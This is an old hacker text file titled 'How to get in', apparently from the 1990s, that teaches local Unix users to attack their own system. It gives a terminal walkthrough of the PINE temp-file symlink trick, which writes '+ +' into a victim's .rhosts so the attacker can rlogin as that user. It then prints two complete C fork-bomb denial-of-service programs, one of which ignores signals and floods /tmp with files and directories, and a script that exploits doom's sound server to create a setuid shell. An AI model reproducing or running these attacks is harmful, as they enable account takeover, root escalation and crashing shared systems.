How to get in ...
=================
By Control-Z
Control_Z12@hotmail.com
This issue presents some methods to attack from inside, when ya have an
account on the system, without to have root privilegies.
For most unix systems the most popular bug is an old pine bug. It works good
on PINE 3.91 but is fixed on PINE 3.95. This very nice mail programm leaves a
temporary logfile in /tmp with mode 666. This static file appears when there
is an active pine session, and a new mail is in the INBOX.
What is to do now. Ya watch the process with "ps aux" and it reveals what users
use pine. Then ya create a symbolic link from that file.
For this example, hamors is the victim while catluvr is the attacker:
hamors (21 19:04) litterbox:~> pine
catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine
catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4
catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine
catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
hamors (23 19:09) litterbox:~> pine
catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine
catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +
catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
and ya are in his account, and when he is a root ... kewl.
-----------------------------------------------------------------------------
Another kewl class of attack from inside is to crash the system. The very
classical method is the fork bomb:
------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main()
{
switch (fork())
{
case 0:
setpgrp();
break;
case -1:
fprintf(stderr,"error: fork() failed\n");
exit(1);
default:
printf("Allocating all resources in background...\n");
_exit(0);
}
for(;;)
{
if (!fork())
setpgrp();
malloc((size_t)1);
malloc((size_t)10);
malloc((size_t)100);
malloc((size_t)1000);
malloc((size_t)10000);
malloc((size_t)100000);
malloc((size_t)1000000);
}
}
-------------------------------------
or this one:
-------------------------------------
/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the
bugtraq
This program is a beefed up classic denial of service fork()'er :)
Compilation:
on BSD type of systems do: gcc -DBSD_C -o cvn cvn.c
on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c
on my linux, I can compile it with both -DBSD_C and -DSYSV_C
if your not sure, you can experiment, or compile it
without any -D'efines
In the future:
SunOS signals ignored.
Creation of random symlinks for more gory destruction.
Using advanced technology coding to make the hard drive
blow up with a loud boom and the console explode
causing a nuclear meltdown.
Direct All Suggestions And Flames to: Vio
NOTE: this program is provided for educational purposes only, its author
will not take any responsibility for any stupid things you will
decide to do.
this has been tested, but not the latest version of it.
.a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a.
$$' s `$' s `$ $ $ $ `$ $$
$$ $ $ $ $ $ $ $ $$
$$ $ $ p $ h $ e $ a $ r $ $a. $$
$$ $ssss$ $ $ $ $ $ $$$ $$
$$ $ $ $ $. $ ,$ $ $$$ $$
$$. $ ,$. $ ,$$. ,$$ .$ $$$ $$
`$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$'
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#define MAX_FILELEN 100 /* The _actual_ max length */
#define MAX_DIRLEN 10
#define START_DIR "/tmp" /* This can be substituted for any directory */
/* that you have write access to */
void dirs_generator(void);
main(int argc, char *argv[])
{
int fp;
char *buff;
char chr;
unlink(argv[0]);
/* You might wanna ignore all the signals you can ignore.. */
signal(SIGINT, SIG_IGN); /* If any of the signals don't work */
signal(SIGHUP, SIG_IGN); /* on the system you are compiling */
signal(SIGTERM, SIG_IGN); /* them on, just erase that line */
signal(SIGALRM, SIG_IGN);
signal(SIGBUS, SIG_IGN);
signal(SIGFPE, SIG_IGN);
signal(SIGILL, SIG_IGN);
signal(SIGIOT, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
signal(SIGQUIT, SIG_IGN);
signal(SIGSEGV, SIG_IGN);
signal(SIGTRAP, SIG_IGN);
signal(SIGUSR1, SIG_IGN);
signal(SIGUSR2, SIG_IGN);
#ifdef BSD_C
signal(SIGPROF, SIG_IGN);
signal(SIGSTOP, SIG_IGN);
signal(SIGTSTP, SIG_IGN);
signal(SIGTTIN, SIG_IGN);
signal(SIGTTOU, SIG_IGN);
signal(SIGVTALRM, SIG_IGN);
signal(SIGXCPU, SIG_IGN);
signal(SIGXFSZ, SIG_IGN);
#endif
#ifdef SYSV_C
signal(SIGPOLL, SIG_IGN);
signal(SIGPWR, SIG_IGN);
#endif
if(fork()) {
printf("Now crashing and blowing up this system.. have a nice day\n");
printf("You can safely logout, and let the proggie do its work\n");
printf("or you can stick around and watch lag go from 0 to bitch\n");
printf("in a matter of seconds\n");
printf(" --CoViN \n");
exit(0);
}
fp=open("/tmp/.foo",O_WRONLY|O_CREAT);
if(fork()) {
while(1) {
fork();
buff = malloc(64000);
write(fp, buff, 64000);
system("uptime");
}
}
dirs_generator();
}
void dirs_generator(void)
{
char alph[] = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
char fl[MAX_FILELEN];
char dir[MAX_DIRLEN];
int i;
int flen;
printf("Making dirs..\n");
chdir(START_DIR);
fork(); /* For the simplicity of the code.. we also want more dir's from */
fork(); /* the START_DIR */
fork();
while(1) {
fork();
flen= (rand() % MAX_FILELEN) - 1;
for(i=0; i<flen; i++)
fl[i] = alph[rand() % strlen(alph)];
fl[MAX_FILELEN-1]=0;
i=open(fl,O_WRONLY|O_CREAT);
write(i,"fuck you! CoViN",16);
close(i);
flen= (rand() % MAX_DIRLEN) - 1;
for(i=0; i<flen; i++)
dir[i] = alph[rand() % strlen(alph)];
dir[MAX_DIRLEN-1]=0;
mkdir(dir,0);
chdir(dir);
}
}
-------------------------------------
When there is the very nice doom game ya can fork...
-------------------------------------
------------ CUT HERE --------------
#!/bin/sh
# Tue Dec 17 10:02:20 MET 1996 Bo
echo 'sndserver "/tmp/sndserver"' > .doomrc
cat > /tmp/sndserver.c << EOF
#include <stdio.h>
#include <unistd.h>
main() {
if (fork()) while (getc(stdin));
else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
/* or whatever you like to do */
}
EOF
gcc /tmp/sndserver.c -o /tmp/sndserver
------------ CUT HERE --------------
The fork() is just so that doom runs on nicely without locking up the
keyboard and sndserver gobbles up all the sound data send to it. Run
the script, start sdoom, quit the normal way, and execute /tmp/sh.
--------------------------------------
If ya know some other, just send us...